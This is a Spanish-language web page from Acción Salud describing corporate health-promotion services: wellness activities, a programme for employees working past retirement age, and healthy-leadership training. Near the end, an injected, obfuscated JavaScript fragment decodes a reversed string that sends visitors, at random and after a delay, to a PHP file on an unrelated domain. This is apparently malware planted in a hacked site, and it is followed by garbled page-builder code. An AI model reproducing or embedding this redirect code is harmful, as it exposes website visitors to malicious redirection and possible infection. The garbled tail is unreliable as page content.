Accion Salud | Promoción de la salud
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Programas – Actividades de
Promoción de la Salud

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Servicio de gestión e/o implementación de actividades
y programas para la promoción de la salud física,
emocional y social.

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ACTIVIDADES PARA LA PROMOCIÓN DE LA SALUD

Emotion & Coaching
Dieta saludable
Sport In-company

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PROGRAMA AGING
WORK FORCE

Mentoring
Liderazgo transgeneracional
Gestión e implementación del cambio

PROGRAMAS DE
LIDERAZGO SALUDABLE

Habilidades para el liderazgo
Creación y gestión de equipos
Serenity: Emotion & Management

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ACTIVIDADES PARA
LA PROMOCIÓN DE LA SALUD

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Qué es…

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Acción Salud a través de sus profesionales sanitarios (médicos, psicólogos, DUE), guía a las personas de la organización para definir, organizar y coordinar las actividades de promoción de la salud desde una perspectiva biopsicosocial. Nuestro papel se extiende desde el diseño completo de un programa de actividades para la promoción de la salud, hasta la participación como gestores externos de las actividades que ya se realizan en la organización, dotándolas de un continuum que facilite el máximo rendimiento.

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Objetivo

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Mejorar y mantener la salud y el bienestar integral de la persona desde la organización, previniendo la enfermedad y la incapacidad, y aliviando la carga que recae sobre individuos y organizaciones cuando ésta no puede evitarse.

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PROGRAMA AGING
WORK FORCE

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Qué es…

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Programa que establece instrumentos para la mejor prolongación de la vida laboral de sus empleados una vez superada la edad habitual de jubilación (integrado en contexto RSC).

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Objetivo

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Normalizar la prolongación de la vida laboral de los trabajadores.

Reconocer la experiencia, madurez emocional y lealtad de los “golden workers”.

Adaptar los puestos de trabajo a las nuevas necesidades.

Fortalecer los equipos de trabajo intergeneracionales.

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PROGRAMA DE LIDERAZGO
SALUDABLE

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Qué es…

Programa de entrenamiento en habilidades de liderazgo saludable, emocional y de tarea, para responsables de equipo.

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Objetivo

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Desarrollar habilidades de liderazgo saludable en los responsables de equipo, para crear y mantener la calidad del clima laboral, la motivación y la cohesión, orientando y acompañando al equipo hacia el éxito.

Promocionar al líder como agente de salud, desarrollando sus habilidades en la atención emocional de personas, generando de este modo redes saludables de apoyo social, necesarias para el abordaje eficiente de las situaciones emocionalmente difíciles más prevalentes en la organización moderna.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to_right» text_align=»left» video=»» video_overlay=»» video_overlay_image=»» video_webm=»» video_mp4=»» video_ogv=»» video_image=»» background_image=»» background_image_as_pattern=»without_pattern» section_height=»» parallax_speed=»» background_color=»» border_color=»» row_negative_margin=»» side_padding=»» parallax_side_padding=»» padding_top=»» padding_bottom=»» color=»» hover_color=»» more_button_label=»» less_button_label=»» button_position=»» css_animation=»» transition_delay=»»]

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